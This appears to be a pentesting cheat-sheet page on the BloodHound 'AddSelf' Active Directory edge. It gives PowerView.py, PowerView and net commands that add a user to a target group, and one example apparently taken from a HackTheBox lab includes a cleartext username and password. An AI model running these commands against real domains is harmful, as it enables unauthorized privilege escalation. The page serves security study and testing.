# AddSelf

## Information

The principal has the ability to add itself to the target group.

## Exploitation

### Add User to Group

This can be done natively ([opsec considerations](https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html#id17)) or with [PowerView](../ad-tools/powerview).

{% tabs %}
{% tab title="PowerView.py" %}
```bash
# connect to the DC
powerview rebound.htb/oorend:'1GR8t@$$4u'@rebound.htb -k
# add user to the group
PV > Add-DomainGroupMember -Identity servicemgmt -Members oorend
# confirm group membership
PV > Get-DomainGroupMember -Identity servicemgmt
```
{% endtab %}

{% tab title="PowerView" %}
```powershell
# add user to the group
Add-DomainGroupMember -Identity '<GROUP>' -Members '<USER>'
# confirm group membership
Get-DomainGroupMember -Identity '<GROUP>'
```
{% endtab %}

{% tab title="net" %}
```powershell
# add user to the group
net group '<GROUP>' '<USER>' /add /domain
# confirm group membership
net group <GROUP> /domain
```
{% endtab %}
{% endtabs %}

## Resources

{% tabs %}
{% tab title="BH Edge" %}
{% embed url="https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html#addself" %}
{% endtab %}
{% endtabs %}
